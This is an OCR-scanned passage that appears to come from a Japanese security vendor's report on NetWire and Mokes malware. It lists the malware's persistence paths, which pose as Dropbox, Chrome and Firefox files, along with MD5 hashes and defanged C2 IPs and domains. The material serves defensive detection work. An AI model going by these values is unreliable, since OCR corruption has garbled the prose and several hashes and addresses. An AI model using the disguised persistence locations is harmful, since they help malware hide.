e $HOME/Library/Dropbox/quicklookd
e $HOME/Library/Google/Chrome/nacld
e $HOME/Library/Google/Chrome/accountd
o $HOME/Library/Firefox/Profiles/profiled
e $HOME/Library/Firefox/Profiles/trustd

BEET
$HOME/Library/LaunchAgents/<J74/ )& > .plist = < _EEEDOERITIFAIIZ>

Linux IRIZDIZS
e $HOME/$DATA/.mozilla/firefox/profiled*!
¢ $HOME/$DATA/.dropbox/DropboxCache

BHEIET
$HOME/.config/autostart/profiled.desktop
$HOME/.config/autostart/DropboxCache.desktop

41 $DATA (&. QStandardPaths::writableLocation(QStandardPaths: :GenericDatalocation)
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HDOIC

DS, BRTERELSICHYDSEVEN (C&BIE (S, IF TEF1UT 1 X R EER Z OB LIRS
RASBEOTHEZRA#ET . IMEFOE. Office XEI7AIUIBHAARL VBAXIO. YVINIITD
FESSHEDER. IEFYINII VDA > AM-SOBRBREBEHALTHED. FERITIVILIITENIF
T39I IA— ATHBESNTVRRE, HYDSEVEN (3, #4 BTy AN, IRIEEER(TES
LTWET, SMEl IOUEREBE(CLDINZOFE R EMELNIEREDSEDOIROIRET (TAZIZTTL
eIzt RUR—MefER LEUTZ,

VS, RN TORIBBEETIBORMEREED(C. IRIBEE DL RI > TA/IMEL RMRASEE
HY%|Fﬁ7J‘EL_LL/—CL\¥§' WEH(CEOT AEDRIEBEZIRSESIFRIIASIFOZEN THD., /K18

EEEIFMZIB A N -IRE (. SEEFIFTIBIMI DN FEINET . COLIPIRTOHT,

Htt(d HYDSEVEN (C&BIREZSIEHRER/EL. LBIRERMUTOEIVWEEZITVEIODT,
TEAVEEINEENTT,
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Indicator-of-Compromise (IOC)

e JWwafE (MD5)

NetWire
0f83e147217c156b7ab66a26cf865827
2e4d861bdb438c9b3a3d6658d40d07b2
3d9a8ad7ae2bfo9d4e4bd6381438d2b0c
796e62cc921af203¢c2dae93159f93f70
8ffa073c1d4860ec5ac05b53998b421d
a20bb703d44d5717feb76fb36f571aea
a24aef033e061d358579250c6fed8e32
a2d60db7db42adc8c3ab87b3dd244777
a3e4801aa871f4e165bbd760333237b8
a4f27cd95be3ae069b285648c568f5ea
a5462407c447351788ef9ac5bae52c9d
a5838df9164d968b40fc5e2140c5ac99
a63de560893500588a313e502be3efd2
a6f3379cdf41flcdfllee071e3e40854
a8d7582d9f7e9c2c8631351837817f2d
a99a4d2a2cbc10f07d2bbcf0c1c91d0c
2a6cc819f92f26782194369096c02837
aadb3437d9c0ede00b9a0672b7bfd0el
ab29919492a0cddabfe2d75c4d42d00d
abd9e42eb48a10ac1990fdfb03bd09a8
acf159e78dce7c5095640030a5a0d6d2
ad9fa32f08638897fe126db894aa8260
afdc898cf874b74e68280185867250f9
b157c08db89d194eaa73c0723cf42b36
b4376a7ef36f1357109e6b6362a71152
b76ae18bb4d86add42b3a9af7b880a39
b7al2cc9e44a55814fe9b0ccbaa7fble

12def981952667740eb06ee91168e643
32f30ef97554b4e5993152252e57e86¢
58cf773d2eb957d48b931079b9c087dd
80aa2d0c8c05a78487b85013c43c2143
a19829fed00d46c91d81f203fe9cb6c5
a2480c9d205e90432daf4586809f3755
a26ef7c2b718f2b13240f6f9cf91c693
a3ce918d207e725f89683cc2c768b454
a4d1098a0c18c147e0b1bfa53cf6dd88
a502134c8f4b1d9a055375d79acfa9a9
a549d7ca2deb4aa7f7ce46efal295e76
a59252c2d3143dca47fb7e14d1b13d33
a650ccb18450dff911365aa830d1ecb9
a6f8ae86cf8725e16193e0fab0483c2c
aB8ebaefd17089cce9efb8749926dcabd
a9a32cd4275138e6ff9e3b1912b1163b
aad72111d8d41e2edcO0ab4e96613aa70
ab28a1d4fbe377f4b08c40bbd96e7a51
ab373d32f290e6928446f7f94e616c38
acd18d845812ac288016¢c9610d1c9c39
ad836caa03a5f1df34d9131922ffa495
afab14af38d50262b13a95e10cd7bba8
b04e7cba062e23c9bbcc3b8ba38ab4da
b1ebf98704fe7549be440692e48b0a72
b5c67058209e85fbc1f048e42ded9a48
b78c6850cc40b385e839498abc17fc98
b7c546c7f72b78568e€a99706d0343229
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b8b776ebe5cf30c6dc1547ed35a79f42
ba3a1e3d00e04073e90bfcc744264067
bb5f033b8717f42d5804b9c905fe9Sf50
claaf1f7652d483ae2d4712d05b5f0ad
cb75044f5941530d963df9a626c813ae
de3a8b1e149312dac5b8584a33c3f3c6
fcb719e28da41dd7443017eb1f456ff3

Ekoms (Mokes)
0943806ceal1913227d2595dbcc2b94c0
796dff8007f3163adfcb9fa7f5fded1c
91099aa413722d22aa50f85794ee386e
bbael132bf631a093af5567e3fb540eee

Fake Installer/Dropper/Downloade
006bdb19b6936329bffd4054e270dc6a
16e55ba5c7870400cfa244ee211414d9
5f5847160dbfe0d6604dc5b6dd64ffb9
8c1d6403f550a9ddb6640ade3f38a171
9a9c3d7a44834f1d08ebdf3c9e5c3e62
a86¢f58cb8c3ed3ca3c89a2c0443d6d7
f08d3083c19320e2202128802b7ff306

103[.]234[.]220[.]230
130[.]255[.]185[.]77
146[.]185[.]170[.]48
158[.169[.]24[.]141
185[.]106[.]122[.]113
185[.]49[.168[.]1192
185[.149[.168[.1195
188[.]165[.]218[.]177
45[.163[.122[.]17
46[.1165[.]249[.177
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b92c2bdb21b7eb6578bd4cb1ceb9eb64
bae5d7736ff20f96528cde32c8c5e6¢h
bf38f2371d30bc6ab6382626a4eba298
cle658bcdalb5ddaf7284fe5d219420d
d1f8ba71e08c27e753272eb61d7dd3eb
f84d985b94e31c04b6823af150f0b96f
fe84cb5d1832333e5e77cb6efdf5bfb6

4df998fe61fc43803aed470fe52dc14e
8c0ba5e0351975e8fc0c49fdbb6dba4ff
ab235del113ee97926fbl15eeaac555490

0469be73633d45aeal665ddd31a1c694
2abe3cc4bff46455a945d56¢c27e9fb45
786925ad4a4f91a98dd09508471ebddf
838e0e1bfdb8b26fa8bfca3d14b09bof
a5cbda7bb3864626d6251f3a8cd09cb7
ba83abf043344d425cf39c612d0fb5c4

119[.181[.]131[.]251
137[.159[.122[.142
149[.]202[.169[.16
162[.]248[.]227[.]9
185[.]49[.168[.]145
185[.149[.168[.1193
185[.182[.]121[.165
37[.]235[.]148[.]1233
46[.]1165[.]1194[.]94
51[.]1255[.186[.155
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81[.14[.]122[.]1139
89[.134[.]111[.]113
94[.]23[.148[.]115

cameforcameand33212[.]Jcom

glorial8611[.]Jcom
jessiman901[.]com
kaplaromenmmxs[.]com
kurgen3211a[.]com
statalicensesrv[.]Jcom

50

YAN- 2 e>d-LKR-+
BHIRES

84[.]200[.12[.]12
91[.]121[.]120[.]198
anongfs671234d[.]com
g890i0s20[.]com
homegwijskjl111[.]info
jikenick12and67[.]com
kleboneonn12[.]Jcom
statal4lic[.]org
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mER BRE &

mEE-WEE Bl FE

51

FIRliREES


https://jp.surveymonkey.com/r/87Q6QZ6

HKRA2HSYY

T102-0093 HEREFAHEXFHHE 2-16-1 JoJH]ZRYD—
E-MAIL: sales@lac.co.jp

https://www.lac.co.jp/

KaXNBEO: VI —Hat:

24kM3658 RRMEI—IL



https://www.lac.co.jp/

